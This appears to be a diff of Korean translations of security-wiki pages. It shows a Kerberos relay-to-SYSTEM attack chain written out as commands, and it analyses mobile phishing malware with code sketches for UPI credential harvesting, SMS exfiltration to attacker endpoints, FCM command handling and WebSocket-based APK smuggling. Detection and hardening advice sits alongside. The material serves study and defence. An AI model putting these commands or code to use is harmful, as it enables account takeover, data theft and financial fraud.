`KrbRelayUp`는 **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass**를 하나의 바이너리로 래핑합니다.
|
||||
|
||||
- 3.3 **Kerberos 인증 강제**
|
||||
- 3.3 **Coerce Kerberos auth**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce는 DC가 Kerberos `CIFS/DC01` 티켓을 우리에게 보내도록 만듭니다.
|
||||
DFSCoerce는 DC가 Kerberos `CIFS/DC01` 티켓을 우리에게 보내게 만듭니다.
|
||||
|
||||
- 3.4 **AP-REQ 중계**
|
||||
- 3.4 **Relay the AP-REQ**
|
||||
|
||||
KrbRelay는 SMB에서 GSS 블롭을 추출하고, 이를 LDAP 바인드로 재포장한 후 `ldap://DC01`로 전달합니다. 인증은 **같은 키**로 이를 복호화하기 때문에 성공합니다.
|
||||
KrbRelay는 SMB에서 GSS blob을 추출해 LDAP bind로 재포장하고 `ldap://DC01`로 전달합니다—인증은 **같은 키**로 복호화되기 때문에 성공합니다.
|
||||
|
||||
- 3.5 **LDAP 남용 ➜ RBCD ➜ SYSTEM**
|
||||
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
@ -183,48 +244,58 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
You now own **NT AUTHORITY\SYSTEM**.
|
||||
이제 당신은 **NT AUTHORITY\SYSTEM** 권한을 획득했습니다.
|
||||
|
||||
|
||||
### **알아두면 좋은 추가 경로**
|
||||
### **더 알아둘 만한 경로**
|
||||
|
||||
| 벡터 | 트릭 | 중요성 |
|
||||
| Vector | Trick | Why it matters |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | 가짜 서버가 임의의 SPN으로 **GSS-ID 페이로드**를 전송; 클라이언트가 AP-REQ를 직접 당신에게 보냄 | 서브넷 간에도 작동; 기본적으로 머신 자격 증명 |
|
||||
| **DCOM / MSRPC** | 악의적인 OXID 해석기가 클라이언트가 임의의 SPN 및 포트에 인증하도록 강제 | 순수 *로컬* 권한 상승; 방화벽을 우회 |
|
||||
| **AD CS 웹 등록** | `HTTP/CA`에 머신 티켓을 릴레이하고 인증서를 받은 후 **PKINIT**로 TGT를 발급 | LDAP 서명 방어를 우회 |
|
||||
| **섀도우 자격 증명** | `msDS-KeyCredentialLink`를 작성한 후 위조된 키 쌍으로 PKINIT | 컴퓨터 계정을 추가할 필요 없음 |
|
||||
| **AuthIP / IPSec** | 악성 서버가 임의의 SPN으로 **GSS-ID payload**를 전송하면, 클라이언트는 바로 당신에게 AP-REQ를 생성함 | 서브넷 간에도 동작; 기본적으로 machine creds 사용 |
|
||||
| **DCOM / MSRPC** | 악성 OXID resolver가 클라이언트를 임의의 SPN과 포트에 인증하도록 강제함 | 완전한 *local* priv-esc; 방화벽 우회 |
|
||||
| **AD CS Web Enroll** | 기계 티켓을 `HTTP/CA`로 릴레이해 인증서를 받고, 이후 **PKINIT**으로 TGTs를 발급 | LDAP 서명 방어를 우회함 |
|
||||
| **Shadow Credentials** | `msDS-KeyCredentialLink`을 작성한 뒤, 위조된 키 쌍으로 PKINIT 수행 | 컴퓨터 계정을 추가할 필요 없음 |
|
||||
|
||||
### **문제 해결**
|
||||
|
||||
| 오류 | 의미 | 수정 |
|
||||
| Error | Meaning | Fix |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | 티켓 키 ≠ 대상 키 | 잘못된 호스트/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | 시계 > 5분 오프셋 | 시간 동기화 또는 `w32tm` 사용 |
|
||||
| LDAP 바인드 실패 | 서명 강제 | AD CS 경로 사용 또는 서명 비활성화 |
|
||||
| 이벤트 4649 스팸 | 서비스가 중복 인증자를 감지함 | 원본 패킷 차단 또는 경합 |
|
||||
| `KRB_AP_ERR_MODIFIED` | 티켓 키 ≠ 대상 키 | 호스트/SPN이 잘못됨 |
|
||||
| `KRB_AP_ERR_SKEW` | 시스템 시각 차이 > 5분 | 시간 동기화 또는 `w32tm` 사용 |
|
||||
| LDAP bind fails | 서명 요구됨 | AD CS 경로 사용 또는 서명 비활성화 |
|
||||
| Event 4649 spam | 서비스에서 중복된 Authenticator 감지 | 원본 패킷을 차단하거나 레이스 처리 |
|
||||
|
||||
### **탐지**
|
||||
|
||||
* 몇 초 이내에 동일 출처에서 **Event 4769**의 급증.
|
||||
* 서비스에서 **Event 4649**는 재전송이 감지되었음을 나타냄.
|
||||
* **127.0.0.1**에서의 Kerberos 로그온(로컬 SCM으로 릴레이)은 매우 의심스러움—KrbRelayUp 문서의 Sigma 규칙을 통해 매핑.
|
||||
* `msDS-AllowedToActOnBehalfOfOtherIdentity` 또는 `msDS-KeyCredentialLink` 속성의 변경 사항을 주의 깊게 살펴보세요.
|
||||
* 같은 소스에서 짧은 시간 내에 `CIFS/`, `HTTP/`, `LDAP/`에 대한 **Event 4769** 급증.
|
||||
* 서비스에서의 **Event 4649**는 재생(replay)이 감지되었음을 나타냄.
|
||||
* **127.0.0.1**로부터의 Kerberos 로그온(로컬 SCM으로의 릴레이)은 매우 의심스러움 — KrbRelayUp 문서의 Sigma 룰로 매핑하세요.
|
||||
* `msDS-AllowedToActOnBehalfOfOtherIdentity` 또는 `msDS-KeyCredentialLink` 속성 변경을 주시하세요.
|
||||
|
||||
## **강화**
|
||||
## **하드닝**
|
||||
|
||||
1. 모든 서버에서 **LDAP 및 SMB 서명 + EPA**를 강제합니다.
|
||||
2. **SPN 분리**하여 HTTP가 CIFS/LDAP와 동일한 계정에 있지 않도록 합니다.
|
||||
3. 강제 벡터 패치(PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. **`ms-DS-MachineAccountQuota = 0`**로 설정하여 악성 컴퓨터 가입을 방지합니다.
|
||||
5. **Event 4649** 및 예상치 못한 루프백 Kerberos 로그온에 대해 경고합니다.
|
||||
1. 모든 서버에서 **LDAP & SMB signing + EPA** 적용.
|
||||
2. **SPNs 분리**: HTTP가 CIFS/LDAP과 동일한 계정에 있지 않도록 설정.
|
||||
3. coercion 벡터 패치 (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. 무단 컴퓨터 조인을 방지하려면 **`ms-DS-MachineAccountQuota = 0`** 설정.
|
||||
5. 예기치 않은 루프백 Kerberos 로그온 및 **Event 4649**에 대해 경고 설정.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
|
||||
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
|
||||
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
|
||||
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
|
||||
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
|
||||
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
|
||||
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
|
||||
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,64 +1,65 @@
|
||||
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||
# Mobile Phishing & 악성 앱 배포 (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> 이 페이지는 위협 행위자들이 **malicious Android APKs** 및 **iOS mobile-configuration profiles**을(를) SEO, social engineering, fake stores, dating apps 등과 같은 phishing을 통해 배포하는 데 사용하는 기법들을 다룹니다. 자료는 Zimperium zLabs가 공개한 SarangTrap 캠페인 (2025) 및 기타 공개 연구를 바탕으로 합니다.
|
||||
> 이 페이지는 위협 행위자가 **malicious Android APKs** 및 **iOS mobile-configuration profiles**를 phishing(SEO, social engineering, fake stores, dating apps 등)을 통해 배포하는 데 사용하는 기술을 다룹니다.
|
||||
> 자료는 Zimperium zLabs(2025)가 공개한 SarangTrap 캠페인과 기타 공개 리서치를 바탕으로 정리되었습니다.
|
||||
|
||||
## 공격 흐름
|
||||
|
||||
1. **SEO/Phishing Infrastructure**
|
||||
* 유사 도메인(데이트 사이트, 클라우드 공유, 차량 서비스 등)을 수십 개 등록.
|
||||
– Google에서 순위를 올리기 위해 `<title>` 요소에 지역 언어 키워드와 이모지 사용.
|
||||
– 동일 랜딩 페이지에 Android (`.apk`) 및 iOS 설치 지침을 모두 호스팅.
|
||||
2. **1단계 다운로드**
|
||||
* Android: *unsigned* 또는 “third-party store” APK로 연결되는 직접 링크.
|
||||
* iOS: `itms-services://` 또는 일반 HTTPS 링크로 악성 **mobileconfig** 프로파일로 연결.
|
||||
3. **설치 후 Social Engineering**
|
||||
* 앱을 처음 실행하면 **초대 / 인증 코드**를 요구(독점 접근의 환상).
|
||||
* 코드는 Command-and-Control (C2)로 **HTTP를 통한 POST**로 전송된다.
|
||||
* C2가 `{"success":true}`로 응답 ➜ malware가 계속 작동.
|
||||
* 유효한 코드를 제출하지 않는 Sandbox / AV dynamic analysis는 **no malicious behaviour**를 관찰(회피).
|
||||
4. **런타임 권한 남용 (Android)**
|
||||
* 위험 권한은 긍정적인 C2 응답 후에만 요청된다:
|
||||
* 유사 도메인(데이트, 클라우드 공유, 차량 서비스 등) 수십 개를 등록합니다.
|
||||
– `<title>` 요소에 현지 언어 키워드와 이모지를 넣어 Google에서 순위를 올립니다.
|
||||
– 동일한 랜딩 페이지에 Android(`.apk`)와 iOS 설치 지침을 *둘 다* 호스팅합니다.
|
||||
2. **First Stage Download**
|
||||
* Android: *unsigned* 또는 “third-party store” APK로의 직접 링크.
|
||||
* iOS: `itms-services://` 또는 일반 HTTPS 링크로 악성 **mobileconfig** 프로파일(아래 참조).
|
||||
3. **Post-install Social Engineering**
|
||||
* 첫 실행 시 앱은 **invitation / verification code**를 요구함(독점 접근 환상).
|
||||
* 코드는 **POSTed over HTTP**로 Command-and-Control (C2)에 전송됩니다.
|
||||
* C2가 `{"success":true}`로 응답하면 ➜ malware가 동작을 계속합니다.
|
||||
* 유효한 코드를 제출하지 않는 Sandbox / AV dynamic analysis는 **악의적 동작을 전혀 보지 못함**(회피).
|
||||
4. **Runtime Permission Abuse** (Android)
|
||||
* 위험한 권한들은 **positive C2 response** 이후에만 요청됩니다:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* 최근 변종은 `AndroidManifest.xml`에서 SMS 관련 `<uses-permission>`를 제거하지만 Java/Kotlin 코드 경로는 reflection을 통해 SMS를 읽는 코드를 남겨둠 ⇒ 정적 평점은 낮아지지만 `AppOps` 오용이나 오래된 타깃에서 권한이 허용된 기기에서는 여전히 동작.
|
||||
5. **겉보기 UI 및 백그라운드 수집**
|
||||
* 앱은 로컬로 구현된 무해한 뷰(SMS viewer, gallery picker)를 표시.
|
||||
* 동시에 다음을 유출/수집:
|
||||
* 최근 변종은 `AndroidManifest.xml`에서 SMS에 대한 `<uses-permission>`을 **제거**하지만 Java/Kotlin 코드 경로는 reflection으로 SMS를 읽는 부분을 남겨둠 ⇒ 정적 점수를 낮추면서 AppOps abuse나 오래된 대상 기기에서 여전히 동작함.
|
||||
5. **Facade UI & Background Collection**
|
||||
* 앱은 지역적으로 구현된 무해한 뷰(SMS viewer, gallery picker)를 보여줍니다.
|
||||
* 그 사이에 다음을 exfiltrates(유출)합니다:
|
||||
- IMEI / IMSI, 전화번호
|
||||
- 전체 `ContactsContract` 덤프 (JSON 배열)
|
||||
- Full `ContactsContract` dump (JSON array)
|
||||
- `/sdcard/DCIM`의 JPEG/PNG를 [Luban](https://github.com/Curzibn/Luban)으로 압축하여 크기 축소
|
||||
- 선택적 SMS 내용 (`content://sms`)
|
||||
페이로드는 **batch-zipped**되어 `HTTP POST /upload.php`로 전송.
|
||||
6. **iOS 전달 기법**
|
||||
* 단일 **mobile-configuration profile**이 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등으로 기기를 “MDM”-유사 감독에 등록할 수 있음.
|
||||
페이로드는 **batch-zipped** 되어 `HTTP POST /upload.php`로 전송됩니다.
|
||||
6. **iOS Delivery Technique**
|
||||
* 단일 **mobile-configuration profile**로 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등을 요청하여 기기를 “MDM”-유사 supervision에 등록할 수 있습니다.
|
||||
* Social-engineering 지침:
|
||||
1. Open Settings ➜ *Profile downloaded*.
|
||||
2. Tap *Install* three times (스크린샷은 피싱 페이지 참조).
|
||||
3. Trust the unsigned profile ➜ 공격자가 App Store 검토 없이 *Contacts* 및 *Photo* 권한 획득.
|
||||
7. **네트워크 계층**
|
||||
* Plain HTTP, 종종 포트 80에서 HOST 헤더 예: `api.<phishingdomain>.com`.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → 탐지 쉬움).
|
||||
1. Settings 열기 ➜ *Profile downloaded*.
|
||||
2. *Install*을 세 번 탭(피싱 페이지에 스크린샷 제공).
|
||||
3. unsigned profile을 신뢰 ➜ 공격자는 App Store 리뷰 없이 *Contacts* 및 *Photo* entitlement를 획득합니다.
|
||||
7. **Network Layer**
|
||||
* 일반적으로 포트 80에서 동작하는 plain HTTP, HOST 헤더는 `api.<phishingdomain>.com` 같은 형태.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS 없음 → 탐지 쉬움).
|
||||
|
||||
## Defensive Testing / Red-Team Tips
|
||||
|
||||
* **Dynamic Analysis Bypass** – malware 평가 중 Frida/Objection으로 초대 코드 단계를 자동화해 악성 분기로 도달.
|
||||
* **Manifest vs. Runtime Diff** – `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교; 위험 권한이 누락된 경우 경고 신호.
|
||||
* **Network Canary** – 코드 입력 후 비정상적인 POST 급증을 탐지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE` 구성.
|
||||
* **mobileconfig Inspection** – macOS에서 `security cms -D -i profile.mobileconfig`를 사용해 `PayloadContent`를 나열하고 과도한 권한 요청을 식별.
|
||||
* **Dynamic Analysis Bypass** – malware 평가 중에 Frida/Objection으로 invitation code 단계를 자동화하여 악성 분기로 진입하세요.
|
||||
* **Manifest vs. Runtime Diff** – `aapt dump permissions`와 runtime의 `PackageManager#getRequestedPermissions()`를 비교; 위험한 권한이 누락되어 있으면 경고 신호입니다.
|
||||
* **Network Canary** – 코드 입력 후 비정상적인 POST 폭주를 탐지하려면 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성하세요.
|
||||
* **mobileconfig Inspection** – macOS에서 `security cms -D -i profile.mobileconfig`를 사용해 `PayloadContent`를 나열하고 과도한 권한을 찾아보세요.
|
||||
|
||||
## Blue-Team Detection Ideas
|
||||
|
||||
* **Certificate Transparency / DNS Analytics**로 키워드가 풍부한 도메인의 갑작스런 생성 폭증 포착.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` — Google Play 외부의 Dalvik 클라이언트에서 오는 요청을 감지.
|
||||
* **Invite-code Telemetry** – APK 설치 직후 6–8자리 숫자 코드의 POST는 스테이징 가능성 시사.
|
||||
* **MobileConfig Signing** – MDM 정책을 통해 서명되지 않은 configuration profiles 차단.
|
||||
* **Certificate Transparency / DNS Analytics**로 키워드가 풍부한 도메인의 급증을 포착하세요.
|
||||
* **User-Agent & Path Regex**: Google Play 외부의 Dalvik 클라이언트에서 오는 `(?i)POST\s+/(check|upload)\.php` 패턴을 탐지하세요.
|
||||
* **Invite-code Telemetry** – APK 설치 직후 6–8자리 숫자 코드의 POST는 스테이징 신호일 수 있습니다.
|
||||
* **MobileConfig Signing** – MDM 정책으로 unsigned configuration profile을 차단하세요.
|
||||
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
@ -87,30 +88,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 패턴
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
이 패턴은 정부 혜택 테마를 악용해 인도 UPI 자격 증명과 OTP를 탈취하는 캠페인에서 관찰되었습니다. 운영자들은 전달성과 복원력을 위해 신뢰할 수 있는 플랫폼들을 연계합니다.
|
||||
이 패턴은 정부 지원 테마를 악용해 인도 UPI 자격증명 및 OTP를 탈취하는 캠페인에서 관찰되었습니다. 공격자들은 전달과 복원력을 위해 신뢰받는 플랫폼들을 연쇄적으로 활용합니다.
|
||||
|
||||
### Delivery chain across trusted platforms
|
||||
- YouTube video lure → description contains a short link
|
||||
- Shortlink → GitHub Pages phishing site imitating the legit portal
|
||||
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
|
||||
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
|
||||
### 신뢰된 플랫폼을 통한 전달 체인
|
||||
- YouTube 동영상 미끼 → 설명에 단축 링크 포함
|
||||
- 단축 링크 → 정식 포털을 모방한 GitHub Pages phishing 사이트
|
||||
- 동일한 GitHub repo는 파일에 직접 연결되는 가짜 “Google Play” 배지가 붙은 APK를 호스팅함
|
||||
- 동적 phishing 페이지는 Replit에 호스팅되며; 원격 명령 채널은 Firebase Cloud Messaging (FCM)을 사용함
|
||||
|
||||
### Dropper with embedded payload and offline install
|
||||
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
|
||||
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
|
||||
- 첫 번째 APK는 설치 프로그램(installer, dropper)으로, 실제 악성코드를 `assets/app.apk`에 포함해 배포하고 사용자가 Wi‑Fi/모바일 데이터를 비활성화하도록 유도해 클라우드 탐지를 무력화합니다.
|
||||
- 내장된 payload는 무해해 보이는 레이블(예: “Secure Update”)로 설치됩니다. 설치 후에는 설치 프로그램과 payload가 별개의 앱으로 모두 존재합니다.
|
||||
|
||||
정적 분석 팁 (grep for embedded payloads):
|
||||
정적 분석 팁 (grep로 내장 payload 검색):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### 단축 링크를 통한 동적 엔드포인트 발견
|
||||
- Malware는 단축 링크에서 일반 텍스트(쉼표로 구분된) 활성 엔드포인트 목록을 가져오며; 간단한 문자열 변환으로 최종 phishing 페이지 경로를 생성한다.
|
||||
### 단축 링크를 통한 동적 엔드포인트 검색
|
||||
- Malware는 평문(plain-text) 형태의, 쉼표로 구분된 라이브 엔드포인트 목록을 단축 링크에서 가져오며; 간단한 문자열 변환으로 최종 phishing 페이지 경로를 생성한다.
|
||||
|
||||
예시(익명 처리됨):
|
||||
예시(익명화됨):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
@ -126,10 +127,10 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### WebView-based UPI credential harvesting
|
||||
- “Make payment of ₹1 / UPI‑Lite” 단계는 WebView 내부에서 동적 엔드포인트로부터 공격자 HTML 폼을 로드하고 민감한 필드(전화번호, 은행, UPI PIN)를 캡처한 뒤 이를 `POST`로 `addup.php`에 전송합니다.
|
||||
### WebView 기반 UPI credential harvesting
|
||||
- “Make payment of ₹1 / UPI‑Lite” 단계는 WebView 내부의 동적 엔드포인트에서 공격자 HTML 폼을 불러와 전화번호, 은행, UPI PIN 등의 민감한 필드를 캡처하고 이를 `POST`로 `addup.php`에 전송합니다.
|
||||
|
||||
간단한 로더:
|
||||
Minimal loader:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
@ -144,9 +145,9 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- 연락처를 반복 처리하여 피해자 기기에서 smishing SMS를 대량 발송합니다.
|
||||
- 수신 SMS는 broadcast receiver에 의해 가로채져 메타데이터(발신자, 본문, SIM 슬롯, 기기별 랜덤 ID)와 함께 `/addsm.php`로 업로드됩니다.
|
||||
- 수신된 SMS는 broadcast receiver에 의해 가로채져 메타데이터(발신자, 본문, SIM slot, 기기별 무작위 ID)와 함께 `/addsm.php`로 업로드됩니다.
|
||||
|
||||
리시버 스케치:
|
||||
수신기 스케치:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
@ -161,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM)를 복원력 있는 C2로 사용
|
||||
- Payload는 FCM에 등록되며; 푸시 메시지는 액션을 트리거하기 위해 스위치로 사용되는 `_type` 필드를 포함합니다 (예: phishing 텍스트 템플릿 업데이트, 동작 토글).
|
||||
- payload는 FCM에 등록된다; push 메시지는 액션을 트리거하는 스위치로 사용되는 `_type` 필드를 포함한다(예: phishing 텍스트 템플릿 업데이트, 동작 토글).
|
||||
|
||||
예시 FCM payload:
|
||||
```json
|
||||
@ -173,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
핸들러 스케치:
|
||||
Handler 스케치:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
@ -185,30 +186,71 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK contains secondary payload at `assets/app.apk`
|
||||
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
|
||||
- SMS exfiltration to `/addsm.php`
|
||||
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
|
||||
- Apps labelled as generic “Update/Secure Update”
|
||||
- FCM `data` messages with a `_type` discriminator in untrusted apps
|
||||
### 헌팅 패턴 및 IOCs
|
||||
- APK가 보조 페이로드를 `assets/app.apk`에 포함
|
||||
- WebView가 `gate.htm`에서 결제 페이지를 로드하고 `/addup.php`로 유출
|
||||
- SMS를 `/addsm.php`로 유출
|
||||
- Shortlink 기반 구성 가져오기(예: `rebrand.ly/*`) — CSV 엔드포인트 반환
|
||||
- 일반적인 “Update/Secure Update”로 라벨된 앱
|
||||
- 신뢰되지 않은 앱에서 `_type` 구분자를 가진 FCM `data` 메시지
|
||||
|
||||
### Detection & defence ideas
|
||||
- 설치 중 네트워크 비활성화를 지시한 뒤 `assets/`에서 두 번째 APK를 사이드로드하는 앱 표시
|
||||
- 다음 권한 튜플에 대해 경고: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름
|
||||
- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 egress 모니터링; 알려진 인프라 차단
|
||||
- Mobile EDR 규칙: 신뢰되지 않은 앱이 FCM에 등록하고 `_type` 필드로 분기하는 경우
|
||||
### 탐지 및 방어 아이디어
|
||||
- 설치 중 네트워크를 비활성화하라고 지시한 후 `assets/`에서 두 번째 APK를 사이드로드하는 앱을 플래그
|
||||
- 권한 조합에 대해 경보: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름
|
||||
- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 아웃바운드 모니터링; 알려진 인프라는 차단
|
||||
- Mobile EDR 규칙: FCM에 등록하고 `_type` 필드로 분기하는 신뢰할 수 없는 앱
|
||||
|
||||
---
|
||||
|
||||
## Android Accessibility/Overlay & Device Admin 악용, ATS 자동화 및 NFC 중계 오케스트레이션 – RatOn 사례 연구
|
||||
## Socket.IO/WebSocket 기반 APK Smuggling + Fake Google Play Pages
|
||||
|
||||
The RatOn banker/RAT campaign (ThreatFabric)은 현대 모바일 피싱 작전이 WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, 심지어 NFC-relay orchestration을 결합하는 구체적 예시다. 이 섹션은 재사용 가능한 기술을 추상화한다.
|
||||
공격자들은 정적 APK 링크를 Google Play처럼 보이게 만든 유인 페이지에 내장된 Socket.IO/WebSocket 채널로 대체하는 사례가 늘고 있다. 이렇게 하면 페이로드 URL을 숨기고 URL/확장자 필터를 우회하며 현실적인 설치 UX를 유지한다.
|
||||
|
||||
### Stage-1: WebView → 네이티브 설치 브리지 (dropper)
|
||||
공격자는 공격자 페이지를 가리키는 WebView를 표시하고 native installer를 노출하는 JavaScript interface를 주입한다. HTML 버튼을 탭하면 네이티브 코드가 호출되어 dropper의 assets에 번들된 2단계 APK를 설치하고 즉시 실행한다.
|
||||
실제로 관찰된 일반적인 클라이언트 흐름:
|
||||
```javascript
|
||||
// Open Socket.IO channel and request payload
|
||||
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
|
||||
socket.emit("startDownload", { app: "com.example.app" });
|
||||
|
||||
Minimal pattern:
|
||||
// Accumulate binary chunks and drive fake Play progress UI
|
||||
const chunks = [];
|
||||
socket.on("chunk", (chunk) => chunks.push(chunk));
|
||||
socket.on("downloadProgress", (p) => updateProgressBar(p));
|
||||
|
||||
// Assemble APK client‑side and trigger browser save dialog
|
||||
socket.on("downloadComplete", () => {
|
||||
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = url; a.download = "app.apk"; a.style.display = "none";
|
||||
document.body.appendChild(a); a.click();
|
||||
});
|
||||
```
|
||||
간단한 제어를 회피하는 이유:
|
||||
- 고정된 APK URL이 노출되지 않음; 페이로드는 WebSocket 프레임에서 메모리로 재조립됨.
|
||||
- 직접 .apk 응답을 차단하는 URL/MIME/확장자 필터는 WebSockets/Socket.IO를 통해 터널링된 바이너리 데이터를 놓칠 수 있음.
|
||||
- WebSockets를 실행하지 않는 크롤러와 URL 샌드박스는 페이로드를 가져오지 못함.
|
||||
|
||||
헌팅 및 탐지 아이디어:
|
||||
- Web/네트워크 텔레메트리: 큰 바이너리 청크를 전송한 후 MIME application/vnd.android.package-archive인 Blob을 생성하고 프로그래밍 방식의 `<a download>` 클릭을 수행하는 WebSocket 세션을 플래그 지정하라. socket.emit('startDownload') 같은 클라이언트 문자열과 페이지 스크립트에서 chunk, downloadProgress, downloadComplete라는 이름의 이벤트를 찾아라.
|
||||
- Play-store 스푸핑 휴리스틱: Play와 유사한 페이지를 제공하는 non-Google 도메인에서 Google Play UI 문자열(예: http.html:"VfPpkd-jY41G-V67aGc"), 혼합 언어 템플릿, 그리고 WS 이벤트로 구동되는 가짜 “verification/progress” 흐름을 찾아라.
|
||||
- 대응: non-Google 출처에서의 APK 전송을 차단하라; WebSocket 트래픽을 포함하도록 MIME/확장자 정책을 적용하라; 브라우저의 안전 다운로드 프롬프트를 유지하라.
|
||||
|
||||
See also WebSocket tradecraft and tooling:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/websocket-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn 사례 연구
|
||||
|
||||
